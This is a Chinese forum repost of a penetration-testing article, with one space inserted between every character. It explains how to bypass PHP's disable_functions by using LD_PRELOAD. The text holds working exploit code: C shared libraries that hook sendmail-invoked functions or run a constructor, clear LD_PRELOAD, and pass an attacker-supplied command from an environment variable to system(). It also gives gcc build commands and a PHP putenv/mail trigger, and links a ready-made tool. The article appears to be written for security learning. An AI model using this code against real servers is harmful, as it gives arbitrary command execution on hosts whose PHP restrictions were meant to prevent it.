搜索

[353] 2020-11-07_LD_PRELOAD绕过disable_functions

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-16
2020-11-07_LD_PRELOAD绕过disable_functions L D _ P R E L O A D 绕 过 d i s a b l e _ f u n c t i o n s 原 创   a F a 攻 防 实 验 室   a F a 攻 防 实 验 室   2 0 2 0 - 1 1 - 0 7 收 录 于 话 题   # 渗 透 测 试   , 1 4 个 概 念 问 题 概 念 问 题 L D _ P R E L O A D ： 它 是 L i n u x 系 统 下 面 的 一 个 环 境 变 量 ， 作 用 是 可 以 改 变 程 序 运 行 时 调 用 链 的 先 后 顺 序 。 例 如 有 个 a 程 序 ， 运 行 时 会 调 用 b 函 数 ， 这 时 通 过 L D _ P R E L O A D 指 定 了 一 个 自 己 写 的 库 文 件 ， 该 库 重 写 了 b 函 数 ， 那 么 a 执 行 的 时 候 就 会 先 调 用 重 写 的 b 。 权 限 问 题 权 限 问 题 这 个 方 法 在 使 用 的 时 候 会 碰 到 一 些 权 限 问 题 ， 个 人 感 觉 利 用 条 件 比 较 苛 刻 ， 下 面 根 据 网 上 的 资 料 进 行 下 测 试 。 L D _ P R E L O A D 最 开 始 在 绕 过 d i s a b l e _ f u n c t i o n s 时 是 需 要 借 助 m a i l 和 p u t e n v 两 个 函 数 的 ， 这 里 需 要 先 看 下 m a i l 函 数 的 调 用 。 首 先 简 单 的 写 一 个 p h p 文 件 ， 代 码 如 下 。 然 后 运 行 s t r a c e 命 令 跟 踪 下 m a i l 运 行 时 会 调 用 到 哪 些 可 执 行 文 件 。 f 参 数 代 表 跟 踪 所 有 的 子 进 程 ， 随 后 把 结 果 通 过 管 道 给 到 g r e p e x e c v e 来 查 找 ， e x e c v e 代 表 产 生 的 系 统 调 用 。 < ? p h p         m a i l ( ' ' , ' ' , ' ' , ' ' , ) ; ? > s t r a c e   - f   p h p   a . p h p   2 > & 1   |   g r e p   e x e c v e
从 执 行 结 果 可 以 看 到 p h p 的 m a i l 通 过 l i n u x 的 s h 调 用 了 s e n d m a i l 程 序 。 那 也 就 意 味 着 我 们 只 要 找 一 个 s e n d m a i l 运 行 过 程 中 会 调 用 到 的 函 数 ， 然 后 自 己 重 写 该 函 数 ， 并 设 置 下 L D _ P R E L O A D 变 量 ， 就 可 以 通 过 p h p 的 m a i l 来 达 到 命 令 执 行 的 效 果 。 这 里 按 照 上 面 的 思 路 进 行 测 试 ， 首 先 需 要 找 一 个 s e n d m a i l 运 行 过 程 中 会 调 用 到 的 函 数 ， 这 里 可 以 使 用 r e a d e l f 命 令 ， 该 命 令 可 读 取 e l f 文 件 的 信 息 ， 像 一 些 可 执 行 文 件 、 s o 动 态 库 、 a 静 态 库 等 。 其 中 有 一 个 s 参 数 ， 该 参 数 可 读 取 符 号 表 信 息 （ 我 就 直 接 理 解 成 读 取 相 关 的 函 数 调 用 信 息 了 ） 。 找 到 几 个 常 见 的 ， 例 如 m k d i r 、 g e t u i d 等 等 。 下 一 步 我 们 需 要 进 行 重 写 ， 例 如 重 写 m k d i r ， 编 写 一 个 t e s t . c 文 件 ， 第 一 版 代 码 如 下 。 上 面 代 码 存 在 一 定 的 缺 陷 ， 问 题 在 于 u n s e t e n v 上 ， 劫 持 函 数 启 动 新 进 程 前 （ 在 m a i l 函 数 运 行 前 ） ， 需 要 把 系 统 的 L D _ P R E L O A D 清 除 掉 ， 而 p h p 文 件 中 设 置 的 L D _ P R E L O A D 只 作 用 于 当 前 文 件 ， 且 当 前 文 件 运 行 结 束 后 就 失 效 了 ， 这 里 如 果 不 进 行 u n s e t e n v ， 可 能 会 出 现 一 些 问 题 。 缺 陷 在 于 c e n t o s 上 ， 据 资 料 说 ， c e n t o s 自 己 有 h o o k   u n s e t e n v ， 导 致 的 问 题 就 是 自 己 刚 u n s e t e n v ， 系 统 它 自 己 就 自 动 又 给 h o o k 回 去 了 。 r e a d e l f   - s   / u s r / s b i n / s e n d m a i l # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > i n t   m k d i r ( ) {         / /   劫 持 函 数 后 会 启 动 新 进 程 ， 启 动 新 进 程 前 需 要 先 清 除 L D _ P R E L O A D         u n s e t e n v ( " L D _ P R E L O A D " ) ;         s y s t e m ( " w h o a m i   >   / t m p / w h o a m i " ) ; }
解 决 办 法 是 使 用 全 局 变 量 来 处 理 L D _ P R E L O A D ， 第 二 版 代 码 如 下 。 第 二 版 把 第 一 版 的 u n s e t e n v 换 成 了 f o r 循 环 环 境 变 量 ， 把 L D _ P R E L O A D 改 成 了 0 ， 0 代 表 内 容 的 结 束 ， 相 当 于 L D _ P R E L O A D 为 空 了 。 这 里 把 上 面 改 版 后 的 代 码 放 到 c . c 文 件 拿 到 c e n t o s 去 编 译 一 下 ， 命 令 如 下 。 生 成 s o 动 态 库 后 就 可 以 测 试 了 ， 这 里 需 要 把 s o 文 件 和 p h p 脚 本 上 传 目 标 机 ， p h p 脚 本 内 容 如 下 。 结 果 就 是 没 有 成 功 ， t m p 下 面 就 是 没 有 w h o a m i 文 件 ， 中 间 排 查 了 很 多 问 题 ， 很 多 权 限 相 关 的 问 题 。 问 题 1 ： 脚 本 运 行 后 命 令 没 有 执 行 成 功 。 原 因 是 权 限 问 题 ， 在 l i n u x 系 统 中 的 a p a c h e 运 行 网 站 ， 基 本 都 是 w w w - d a t a 权 限 ， 低 的 一 批 。 w w w - d a t a 是 没 有 权 限 调 用 s e n d m a i l 程 序 的 ， 这 个 可 以 查 看 a p a c h e 的 错 误 日 志 ， 日 志 中 会 提 示 s e n d m a i l 拒 绝 访 问 。 后 来 看 到 有 说 s e l i n u x 的 原 因 ， s e l i n u x 用 来 控 制 权 限 ， 在 l i n u x 中 默 认 是 严 格 的 那 种 （ 分 三 种 ： 严 格 、 宽 容 、 不 限 制 ） 。 可 以 输 入 命 令 g e t e n f o r c e 进 行 查 看 。 # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > e x t e r n   c h a r * *   e n v i r o n ; i n t   m k d i r ( ) {         i n t   i ;         f o r ( i   =   0 ;   e n v i r o n [ i ] ;   + + i ) {                 i f   ( s t r s t r ( e n v i r o n [ i ] ,   " L D _ P R E L O A D " ) ) {                         e n v i r o n [ i ] [ 0 ]   =   ' 0 ' ;                 }         }         s y s t e m ( " w h o a m i   >   / t m p / w h o a m i " ) ; } g c c   - c   - f P I C   c . c   - o   s o   & &   g c c   - - s h a r e   s o   - o   s o . s o < ? p h p     p u t e n v ( " L D _ P R E L O A D = . / s o . s o " ) ;     m a i l ( ' ' , ' ' , ' ' , ' ' ) ; ? >
到 这 一 步 就 有 点 苛 刻 了 ， 首 先 s e l i n u x 默 认 就 是 严 格 的 ， 目 标 机 我 们 也 不 能 直 接 去 改 配 置 文 件 ， 如 果 能 改 ， 我 们 也 没 必 要 在 这 绕 d i s a b l e _ f u n c t i o n s 了 ， 为 了 验 证 ， 我 这 里 以 上 帝 视 角 把 他 改 了 。 s e n d m a i l 问 题 问 题 上 面 代 码 可 以 优 化 一 下 ， 就 是 关 于 s e n d m a i l ， 如 果 目 标 机 没 有 s e n d m a i l 程 序 ， 上 面 代 码 就 失 效 了 ， 这 里 优 化 后 的 代 码 不 会 再 去 劫 持 相 关 函 数 ， 而 是 使 用 了 c 的 _ _ a t t r i b u t e _ _   ( ( _ _ c o n s t r u c t o r _ _ ) ) ， 它 的 作 用 是 在 自 己 执 行 m a i n 函 数 前 执 行 ， 用 来 做 一 些 前 期 的 准 备 工 作 。 第 三 版 代 码 如 下 ， 这 个 代 码 是 参 考 的 大 佬 的 。 # d e f i n e   _ G N U _ S O U R C E # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t r i n g . h > e x t e r n   c h a r * *   e n v i r o n ; _ _ a t t r i b u t e _ _   ( ( _ _ c o n s t r u c t o r _ _ ) )   v o i d   p r e l o a d   ( v o i d ) {         / /   g e t   c o m m a n d   l i n e   o p t i o n s   a n d   a r g         c o n s t   c h a r *   c m d l i n e   =   g e t e n v ( " E V I L _ C M D L I N E " ) ;         / /   u n s e t   e n v i r o n m e n t   v a r i a b l e   L D _ P R E L O A D .         / /   u n s e t e n v ( " L D _ P R E L O A D " )   n o   e f f e c t   o n   s o m e           / /   d i s t r i b u t i o n   ( e . g . ,   c e n t o s ) ,   I   n e e d   c r a f t y   t r i c k .         i n t   i ;         f o r   ( i   =   0 ;   e n v i r o n [ i ] ;   + + i )   {                         i f   ( s t r s t r ( e n v i r o n [ i ] ,   " L D _ P R E L O A D " ) )   {                                         e n v i r o n [ i ] [ 0 ]   =   ' 0 ' ;                         }         }         / /   e x e c u t i v e   c o m m a n d         s y s t e m ( c m d l i n e ) ; }
利 用 工 具 利 用 工 具 上 面 的 很 多 错 误 和 思 路 都 是 参 考 的 这 个 工 具 ， 工 具 地 址 ： h t t p s : / / g i t h u b . c o m / y a n g y a n g w i t h g n u / b y p a s s _ d i s a b l e f u n c _ v i a _ L D _ P R E L O A D 这 里 测 试 下 这 个 工 具 的 使 用 ， 我 在 v u l t r 上 搭 了 个 d e b i a n 系 统 ， 禁 用 了 一 些 危 险 函 数 ， 具 体 用 法 可 以 参 考 官 方 地 址 ， 测 试 结 果 如 下 ： 总 结 总 结 整 体 来 说 ， 可 能 c e n t o s 上 默 认 开 了 s e l i n u x 不 太 好 利 用 ， 其 他 的 l i n u x 系 统 测 试 可 以 正 常 去 利 用 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理